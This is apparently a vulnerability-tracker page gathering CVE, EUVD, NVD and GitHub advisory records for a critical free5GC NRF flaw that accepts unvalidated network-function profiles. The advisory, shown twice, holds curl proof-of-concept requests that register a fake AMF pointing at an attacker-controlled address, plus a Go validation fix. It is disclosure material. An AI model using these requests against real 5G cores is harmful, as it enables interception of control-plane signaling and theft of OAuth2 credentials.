Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

free5gc · Vulnerability

CVSS 4.0 9.3 CRITICALEUVD CVSS 4.0 9.3 CVSS 4.0 · [email protected] · Secondary 9.3 CRITICALCVSS_V4 Publisher rating CRITICALFixed by github.com/free5gc/free5gc 4.2.2osv · severity unknownFixed by github.com/free5gc/free5gc 4.2.2+incompatibleKEV status unknown

cve-program · CVE-2026-55068

Published

free5GC is an open-source implementation of the 5G core network. In 4.2.2 and earlier, the NRF RegisterNFInstance handler at PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID} accepts NF Profiles without enforcing UUID format, nfStatus enum values, heartBeatTimer ranges, mandatory profile fields, or nfServices.ipEndPoints address constraints. The invalid profiles are persisted in the MongoDB NfProfile collection and returned by NFDiscover, allowing an attacker with SBI access to advertise attacker-controlled network-function endpoints and redirect control-plane signaling. This can expose credentials and signaling, alter service discovery integrity, and deny service across network functions that trust the NRF. This issue is fixed in version 4.2.3.

Read the publisher's advisory

euvd · EUVD-2026-67835

Published

free5GC is an open-source implementation of the 5G core network. In 4.2.2 and earlier, the NRF RegisterNFInstance handler at PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID} accepts NF Profiles without enforcing UUID format, nfStatus enum values, heartBeatTimer ranges, mandatory profile fields, or nfServices.ipEndPoints address constraints. The invalid profiles are persisted in the MongoDB NfProfile collection and returned by NFDiscover, allowing an attacker with SBI access to advertise attacker-controlled network-function endpoints and redirect control-plane signaling. This can expose credentials and signaling, alter service discovery integrity, and deny service across network functions that trust the NRF. This issue is fixed in version 4.2.3.

Read the publisher's advisory

nvd · CVE-2026-55068

Published

free5GC is an open-source implementation of the 5G core network. In 4.2.2 and earlier, the NRF RegisterNFInstance handler at PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID} accepts NF Profiles without enforcing UUID format, nfStatus enum values, heartBeatTimer ranges, mandatory profile fields, or nfServices.ipEndPoints address constraints. The invalid profiles are persisted in the MongoDB NfProfile collection and returned by NFDiscover, allowing an attacker with SBI access to advertise attacker-controlled network-function endpoints and redirect control-plane signaling. This can expose credentials and signaling, alter service discovery integrity, and deny service across network functions that trust the NRF. This issue is fixed in version 4.2.3.

Read the publisher's advisory

osv · GHSA-x8mj-6p3q-g5pp

Published

### Summary free5GC NRF (Docker image free5gc-fuzz:latest) accepts NF registration requests without validating any field constraints against 3GPP TS 29.510, allowing unauthenticated attackers to inject fake NF profiles with arbitrary service endpoint IP addresses. All 17 constraint violations tested (UUID format, enum values, numeric ranges, mandatory fields, IP endpoint integrity) were accepted with HTTP 200/201. Legitimate NFs discover these fake profiles via NFDiscover and route control-plane traffic to attacker-controlled endpoints, an attacker with SBI network access can intercept control-plane signaling, harvest OAuth2 credentials, and deny service to subscribers. --- ### Details free5GC NRF's `RegisterNFInstance` handler (PUT `/nnrf-nfm/v1/nf-instances/{nfInstanceID}`) accepts the full NF profile body without field-level validation. The following 3GPP TS 29.510 constraints are violated: **Format validation**: `nfInstanceId` accepts non-UUID strings (e.g., `"not-a-uuid"`, `"11111111-1111-1111-1111-111111111111"`), violating TS 29.510 §6.1.6.2.2 UUID v4 requirement. **Enum validation**: `nfStatus` accepts values outside the `{REGISTERED, SUSPENDED, UNDISCOVERABLE}` enum (e.g., `"INVALID_STATUS"`). **Range validation**: `heartBeatTimer` accepts values outside the valid range [1, 3600] (e.g., `0`, `99999`), violating TS 29.510 §5.2.2.2. **Mandatory field enforcement**: `nfProfile` is accepted as `null`, violating the required field constraint in §5.2.2.2. **Service endpoint integrity**: `nfServices.ipEndPoints` entries are stored without any IP address validation, allowing arbitrary attacker-controlled addresses (e.g., `10.0.0.99`) to be registered as legitimate NF service endpoints. All five failure modes return HTTP 200/201. The profiles are stored in MongoDB's `NfProfile` collection (which has no JSON schema validator) and appear in `NFDiscover` results alongside legitimate NF instances. **Attack chain** ( OAuth is enabled): 1. A compromised NF with valid OAuth token registers a fake AMF with `nfServices.ipEndPoints` pointing to `10.0.0.99:7777` 2. NRF stores the profile and advertises it via NFDiscover 3. SMF queries NRF for AMF instances and selects the fake one 4. SMF routes N1N2 signaling to `10.0.0.99:7777` 5. Attacker intercepts control-plane traffic **Discovery methodology**: 121 semantic constraints extracted from 10 3GPP TS 29.5xx specifications, modeled as a multi-relational interaction graph with CONDITIONAL (23 edges), CONFLICT (28 edges), and SHARED_FIELD (58 edges) relationships. 50,000 constraint-violating HTTP requests generated, 9,756 accepted-invalid responses detected, deduplicated to 17 unique violations across 5 root cause categories. **Logging**: NRF default configuration (`LogEnable: false`) produces zero runtime log lines — 450,000 HTTP requests and 27,601 NF registrations with zero audit trail. Enabling logging records the attack but does not prevent it (validation is independent of logging). ### PoC **No configuration changes needed.** Default free5GC deployment is vulnerable. ```bash # Step 1: Register fake AMF with attacker-controlled IP curl -X PUT \ "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111" \ -H "Content-Type: application/json" \ -d '{ "nfInstanceId": "11111111-1111-1111-1111-111111111111", "nfType": "AMF", "nfStatus": "REGISTERED", "heartBeatTimer": 3600, "plmnList": [{"mcc": "001", "mnc": "01"}], "sNssais": [{"sst": 1, "sd": "010203"}], "nfServices": [{ "serviceInstanceId": "fake-amf-svc", "serviceName": "namf-comm", "versions": [{"apiVersionInUri": "v1", "apiFullVersion": "1.0.0"}], "scheme": "http", "nfServiceStatus": "REGISTERED", "ipEndPoints": [{"ipv4Address": "10.0.0.99", "port": 7777, "transport": "TCP"}] }] }' # Returns: HTTP 201 (Accepted — profile stored with fake endpoint) # Step 2: Confirm the profile is stored curl "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111" # Returns: HTTP 200 with fake IP 10.0.0.99:7777 in the response # Step 3: Verify the fake AMF appears in discovery results curl "http://172.24.0.10:8000/nnrf-disc/v1/nf-instances?target-nf-type=AMF&requester-nf-type=SMF" # Returns: HTTP 200 — fake AMF with 10.0.0.99:7777 listed alongside real AMFs # Additional constraint violations (all return 200/201): curl -X PUT "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/not-a-uuid" \ -H "Content-Type: application/json" \ -d '{"nfInstanceId": "not-a-uuid", "nfType": "AMF", "nfStatus": "INVALID_STATUS", "heartBeatTimer": 0}' # Returns: HTTP 201 (non-UUID + invalid enum + out-of-range timer — ALL accepted) ``` **Expected fix**: ```go import "github.com/google/uuid" func validateNFProfile(profile *NFProfile) error { // UUID v4 validation if _, err := uuid.Parse(profile.NfInstanceId); err != nil { return fmt.Errorf("nfInstanceId must be valid UUID v4") } // Enum validation validStatuses := map[string]bool{"REGISTERED": true, "SUSPENDED": true, "UNDISCOVERABLE": true} if !validStatuses[profile.NfStatus] { return fmt.Errorf("nfStatus must be REGISTERED, SUSPENDED, or UNDISCOVERABLE") } // Range validation if profile.HeartBeatTimer < 1 || profile.HeartBeatTimer > 3600 { return fmt.Errorf("heartBeatTimer must be between 1 and 3600") } return nil } // Return HTTP 400 with ProblemDetails on validation failure ``` ### Impact | Property | Value | |----------|-------| | **Authentication** | None required | | **Impact** | Control-plane traffic interception, OAuth2 credential harvesting, denial of service | | **Affected component** | free5GC NRF Docker image free5gc-fuzz:latest | | **Affected implementations** | All NFs that use NFDiscover (AMF, SMF, AUSF, UDM, PCF, NSSF) — the fake profile propagates to the entire 5GC service mesh | | **Fix** | Add UUID/enum/range/required-field validation to RegisterNFInstance handler; return HTTP 400 with ProblemDetails on failure | | **Status** | Reported to maintainers | **Scope of impact**: Unlike denial-of-service attacks (SIGABRT/SIGSEGV) that only affect a single Network Function (NF), this vulnerability can impact **all NFs** within the 5GC service mesh. Once a forged NF profile is registered, any NF querying the NRF for service discovery may be redirected to an attacker-controlled endpoint. The 27,601 profiles registered during testing fully demonstrate the automated scale achievable by such an attack. **Environment**: free5GC Docker image free5gc-fuzz:latest, Docker Compose, Ubuntu 22.04, kernel 6.8.0-111, bridge network 172.24.0.0/24.

Read the publisher's advisory

osv · GO-2026-6316

Published

free5GC NRF nnrf-nfm lacks NF Profile input validation — enables NF Registration Poisoning with arbitrary service endpoints in github.com/free5gc/free5gc

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2026-55068

Published

free5GC: NRF nnrf-nfm lacks NF Profile input validation — enables NF Registration Poisoning with arbitrary service endpoints

free5GC is an open-source implementation of the 5G core network. In 4.2.2 and earlier, the NRF RegisterNFInstance handler at PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID} accepts NF Profiles without enforcing UUID format, nfStatus enum values, heartBeatTimer ranges, mandatory profile fields, or nfServices.ipEndPoints address constraints. The invalid profiles are persisted in the MongoDB NfProfile collection and returned by NFDiscover, allowing an attacker with SBI access to advertise attacker-controlled network-function endpoints and redirect control-plane signaling. This can expose credentials and signaling, alter service discovery integrity, and deny service across network functions that trust the NRF. This issue is fixed in version 4.2.3.

Source published
28 Aug 2026 16:57:12 UTC
Source modified
31 Aug 2026 18:56:29 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

euvd · EUVD-2026-67835

Published

free5GC is an open-source implementation of the 5G core network. In 4.2.2 and earlier, the NRF RegisterNFInstance handler at PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID} accepts NF Profiles without enforcing UUID format, nfStatus enum value…

free5GC is an open-source implementation of the 5G core network. In 4.2.2 and earlier, the NRF RegisterNFInstance handler at PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID} accepts NF Profiles without enforcing UUID format, nfStatus enum values, heartBeatTimer ranges, mandatory profile fields, or nfServices.ipEndPoints address constraints. The invalid profiles are persisted in the MongoDB NfProfile collection and returned by NFDiscover, allowing an attacker with SBI access to advertise attacker-controlled network-function endpoints and redirect control-plane signaling. This can expose credentials and signaling, alter service discovery integrity, and deny service across network functions that trust the NRF. This issue is fixed in version 4.2.3.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 28, 2026, 4:57:12 PM

dateUpdated: Aug 31, 2026, 6:56:29 PM

Source published
Aug 28, 2026, 4:57:12 PM (timezone not stated)
Source modified
Aug 31, 2026, 6:56:29 PM (timezone not stated)
Saved here
18 Nov 2026 04:39:44 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

nvd · CVE-2026-55068

Published

free5GC is an open-source implementation of the 5G core network. In 4.2.2 and earlier, the NRF RegisterNFInstance handler at PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID} accepts NF Profiles without enforcing UUID format, nfStatus enum value…

free5GC is an open-source implementation of the 5G core network. In 4.2.2 and earlier, the NRF RegisterNFInstance handler at PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID} accepts NF Profiles without enforcing UUID format, nfStatus enum values, heartBeatTimer ranges, mandatory profile fields, or nfServices.ipEndPoints address constraints. The invalid profiles are persisted in the MongoDB NfProfile collection and returned by NFDiscover, allowing an attacker with SBI access to advertise attacker-controlled network-function endpoints and redirect control-plane signaling. This can expose credentials and signaling, alter service discovery integrity, and deny service across network functions that trust the NRF. This issue is fixed in version 4.2.3.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-20

Original publisher date fields

published: 2026-08-28T20:18:24.183

lastModified: 2026-09-08T21:11:31.703

Source published
28 Aug 2026 20:18:24 UTC
Source modified
8 Sep 2026 21:11:31 UTC
Saved here
25 Oct 2026 13:17:34 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

osv · GHSA-x8mj-6p3q-g5pp

Published

free5GC NRF nnrf-nfm lacks NF Profile input validation — enables NF Registration Poisoning with arbitrary service endpoints

### Summary free5GC NRF (Docker image free5gc-fuzz:latest) accepts NF registration requests without validating any field constraints against 3GPP TS 29.510, allowing unauthenticated attackers to inject fake NF profiles with arbitrary service endpoint IP addresses. All 17 constraint violations tested (UUID format, enum values, numeric ranges, mandatory fields, IP endpoint integrity) were accepted with HTTP 200/201. Legitimate NFs discover these fake profiles via NFDiscover and route control-plane traffic to attacker-controlled endpoints, an attacker with SBI network access can intercept control-plane signaling, harvest OAuth2 credentials, and deny service to subscribers. --- ### Details free5GC NRF's `RegisterNFInstance` handler (PUT `/nnrf-nfm/v1/nf-instances/{nfInstanceID}`) accepts the full NF profile body without field-level validation. The following 3GPP TS 29.510 constraints are violated: **Format validation**: `nfInstanceId` accepts non-UUID strings (e.g., `"not-a-uuid"`, `"11111111-1111-1111-1111-111111111111"`), violating TS 29.510 §6.1.6.2.2 UUID v4 requirement. **Enum validation**: `nfStatus` accepts values outside the `{REGISTERED, SUSPENDED, UNDISCOVERABLE}` enum (e.g., `"INVALID_STATUS"`). **Range validation**: `heartBeatTimer` accepts values outside the valid range [1, 3600] (e.g., `0`, `99999`), violating TS 29.510 §5.2.2.2. **Mandatory field enforcement**: `nfProfile` is accepted as `null`, violating the required field constraint in §5.2.2.2. **Service endpoint integrity**: `nfServices.ipEndPoints` entries are stored without any IP address validation, allowing arbitrary attacker-controlled addresses (e.g., `10.0.0.99`) to be registered as legitimate NF service endpoints. All five failure modes return HTTP 200/201. The profiles are stored in MongoDB's `NfProfile` collection (which has no JSON schema validator) and appear in `NFDiscover` results alongside legitimate NF instances. **Attack chain** ( OAuth is enabled): 1. A compromised NF with valid OAuth token registers a fake AMF with `nfServices.ipEndPoints` pointing to `10.0.0.99:7777` 2. NRF stores the profile and advertises it via NFDiscover 3. SMF queries NRF for AMF instances and selects the fake one 4. SMF routes N1N2 signaling to `10.0.0.99:7777` 5. Attacker intercepts control-plane traffic **Discovery methodology**: 121 semantic constraints extracted from 10 3GPP TS 29.5xx specifications, modeled as a multi-relational interaction graph with CONDITIONAL (23 edges), CONFLICT (28 edges), and SHARED_FIELD (58 edges) relationships. 50,000 constraint-violating HTTP requests generated, 9,756 accepted-invalid responses detected, deduplicated to 17 unique violations across 5 root cause categories. **Logging**: NRF default configuration (`LogEnable: false`) produces zero runtime log lines — 450,000 HTTP requests and 27,601 NF registrations with zero audit trail. Enabling logging records the attack but does not prevent it (validation is independent of logging). ### PoC **No configuration changes needed.** Default free5GC deployment is vulnerable. ```bash # Step 1: Register fake AMF with attacker-controlled IP curl -X PUT \ "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111" \ -H "Content-Type: application/json" \ -d '{ "nfInstanceId": "11111111-1111-1111-1111-111111111111", "nfType": "AMF", "nfStatus": "REGISTERED", "heartBeatTimer": 3600, "plmnList": [{"mcc": "001", "mnc": "01"}], "sNssais": [{"sst": 1, "sd": "010203"}], "nfServices": [{ "serviceInstanceId": "fake-amf-svc", "serviceName": "namf-comm", "versions": [{"apiVersionInUri": "v1", "apiFullVersion": "1.0.0"}], "scheme": "http", "nfServiceStatus": "REGISTERED", "ipEndPoints": [{"ipv4Address": "10.0.0.99", "port": 7777, "transport": "TCP"}] }] }' # Returns: HTTP 201 (Accepted — profile stored with fake endpoint) # Step 2: Confirm the profile is stored curl "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111" # Returns: HTTP 200 with fake IP 10.0.0.99:7777 in the response # Step 3: Verify the fake AMF appears in discovery results curl "http://172.24.0.10:8000/nnrf-disc/v1/nf-instances?target-nf-type=AMF&requester-nf-type=SMF" # Returns: HTTP 200 — fake AMF with 10.0.0.99:7777 listed alongside real AMFs # Additional constraint violations (all return 200/201): curl -X PUT "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/not-a-uuid" \ -H "Content-Type: application/json" \ -d '{"nfInstanceId": "not-a-uuid", "nfType": "AMF", "nfStatus": "INVALID_STATUS", "heartBeatTimer": 0}' # Returns: HTTP 201 (non-UUID + invalid enum + out-of-range timer — ALL accepted) ``` **Expected fix**: ```go import "github.com/google/uuid" func validateNFProfile(profile *NFProfile) error { // UUID v4 validation if _, err := uuid.Parse(profile.NfInstanceId); err != nil { return fmt.Errorf("nfInstanceId must be valid UUID v4") } // Enum validation validStatuses := map[string]bool{"REGISTERED": true, "SUSPENDED": true, "UNDISCOVERABLE": true} if !validStatuses[profile.NfStatus] { return fmt.Errorf("nfStatus must be REGISTERED, SUSPENDED, or UNDISCOVERABLE") } // Range validation if profile.HeartBeatTimer < 1 || profile.HeartBeatTimer > 3600 { return fmt.Errorf("heartBeatTimer must be between 1 and 3600") } return nil } // Return HTTP 400 with ProblemDetails on validation failure ``` ### Impact | Property | Value | |----------|-------| | **Authentication** | None required | | **Impact** | Control-plane traffic interception, OAuth2 credential harvesting, denial of service | | **Affected component** | free5GC NRF Docker image free5gc-fuzz:latest | | **Affected implementations** | All NFs that use NFDiscover (AMF, SMF, AUSF, UDM, PCF, NSSF) — the fake profile propagates to the entire 5GC service mesh | | **Fix** | Add UUID/enum/range/required-field validation to RegisterNFInstance handler; return HTTP 400 with ProblemDetails on failure | | **Status** | Reported to maintainers | **Scope of impact**: Unlike denial-of-service attacks (SIGABRT/SIGSEGV) that only affect a single Network Function (NF), this vulnerability can impact **all NFs** within the 5GC service mesh. Once a forged NF profile is registered, any NF querying the NRF for service discovery may be redirected to an attacker-controlled endpoint. The 27,601 profiles registered during testing fully demonstrate the automated scale achievable by such an attack. **Environment**: free5GC Docker image free5gc-fuzz:latest, Docker Compose, Ubuntu 22.04, kernel 6.8.0-111, bridge network 172.24.0.0/24.

Source published
28 Aug 2026 16:58:13 UTC
Source modified
2 Sep 2026 19:55:41 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Publisher rating · CRITICAL

osv · GO-2026-6316

Published

free5GC NRF nnrf-nfm lacks NF Profile input validation — enables NF Registration Poisoning with arbitrary service endpoints in github.com/free5gc/free5gc

free5GC NRF nnrf-nfm lacks NF Profile input validation — enables NF Registration Poisoning with arbitrary service endpoints in github.com/free5gc/free5gc

Source published
2 Sep 2026 18:37:27 UTC
Source modified
2 Sep 2026 19:45:12 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 19 Nov 09:03 UTC · 273 of 275 readable · 269 fully read · documentation 469/469 current